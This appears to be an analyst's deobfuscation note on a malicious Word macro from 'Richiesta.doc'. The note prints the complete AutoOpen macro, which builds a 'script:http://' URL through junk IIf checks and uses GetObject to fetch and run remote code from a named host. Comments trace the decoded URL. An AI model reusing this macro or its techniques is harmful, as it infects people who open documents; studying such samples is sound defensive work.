Macro (deobfuscate) - Richiesta.doc

// Original macro: https://pastebin.com/LB8PRM3x

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1

Sub AutoOpen()
    On Error Resume Next

    GIitavujoTOKIKPiqEnif = ""
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((235 + 470) = 705, "sc", "QmLC0")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((149 + 298) = 447, "ri", "o")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((170 + 340) = 510, "pt", "JfQEf")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((193 + 386) = 579, ":h", "5t")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((267 + 534) = 801, "tt", "OZ93")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((82 + 164) = 246, "p:", "H")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((115 + 230) = 345, "//", "dKY")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((313 + 626) = 939, "fu", "89q")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((31 + 62) = 93, "iq", "a")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((273 + 546) = 819, "uc", "mw")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((172 + 344) = 516, "as", "T")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((125 + 250) = 375, "db", "CHSDk")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((99 + 198) = 297, "ew", "cejl")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((48 + 96) = 144, "e.", "Qf")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((28 + 56) = 84, "co", "MmiPn")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((139 + 278) = 417, "m/", "Tp")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((146 + 292) = 438, "go", "vcDh")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((148 + 296) = 444, "rg", "lv")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((20 + 40) = 60, "in", "JqM")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((223 + 446) = 669, "es", "J")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((139 + 278) = 417, "cr", "0uG2r")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((237 + 474) = 711, "it", "KYEj")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((167 + 334) = 501, "o/", "fh")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((156 + 312) = 468, "in", "JDx")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((205 + 410) = 615, "de", "WLx")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((161 + 322) = 483, "x.", "MnL0")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((165 + 330) = 495, "ph", "IWe")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((230 + 460) = 690, "p?", "hjc")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((191 + 382) = 573, "lo", "pI")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((218 + 436) = 654, "kk", "Ch")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((191 + 382) = 573, "o=", "qNktw")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((32 + 64) = 96, "xx", "xCgT3")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((328 + 656) = 984, "xc", "7")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((102 + 204) = 306, "&U", "a")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((113 + 226) = 339, "eX", "xnpYZ")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((62 + 124) = 186, "1s", "A6")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((167 + 334) = 501, "nr", "7B")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((256 + 512) = 768, "=4", "Yw")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((91 + 182) = 273, "FA", "9Bq")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((261 + 522) = 783, "Gu", "qbjE")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((145 + 290) = 435, "sQ", "7")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((112 + 224) = 336, "3o", "hG")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((313 + 626) = 939, "&8", "s")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((247 + 494) = 741, "af", "B7dg")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((221 + 442) = 663, "AF", "8")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((228 + 456) = 684, "dp", "y")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((232 + 464) = 696, "UW", "s")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((198 + 396) = 594, "=c", "hP")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((169 + 338) = 507, "GP", "eBpw")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((240 + 480) = 720, "i8", "ofu0N")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((125 + 250) = 375, "sM", "tYKkv")
    GIitavujoTOKIKPiqEnif = GIitavujoTOKIKPiqEnif + IIf((273 + 546) = 819, "3", "WnT")
    vawiDAhIKyFiQypARiPU (GIitavujoTOKIKPiqEnif), 5199
    // 1) vawiDAhIKyFiQypARiPU(http://fuiqucasdbewe.com/gorginescrito/index.php?lokko=xxxc&UeX1snr1P=4FAGusQ3o&8afAFdpUW=cGPi8sM3), 5199

End Sub

Private Sub gObEbUPiEjYTA(nuTemiZUQyXULecApPevyCe)
    Call VBA.GetObject(nuTemiZUQyXULecApPevyCe)
    // 3) Call VBA.GetObject(http://fuiqucasdbewe.com/gorginescrito/index.php?lokko=xxxc&UeX1snr1P=4FAGusQ3o&8afAFdpUW=cGPi8sM3)
End Sub


Private Sub vawiDAhIKyFiQypARiPU(nuTemiZUQyXULecApPevyCe, iIpOGOkzeaIveraXYtEKaK)
If iIpOGOkzeaIveraXYtEKaK > 123 Then // 5199 > 123
    Application.Run "gObEbUPiEjYTA", nuTemiZUQyXULecApPevyCe
    // 2) Application.Run "gObEbUPiEjYTA", http://fuiqucasdbewe.com/gorginescrito/index.php?lokko=xxxc&UeX1snr1P=4FAGusQ3o&8afAFdpUW=cGPi8sM3
End If

End Sub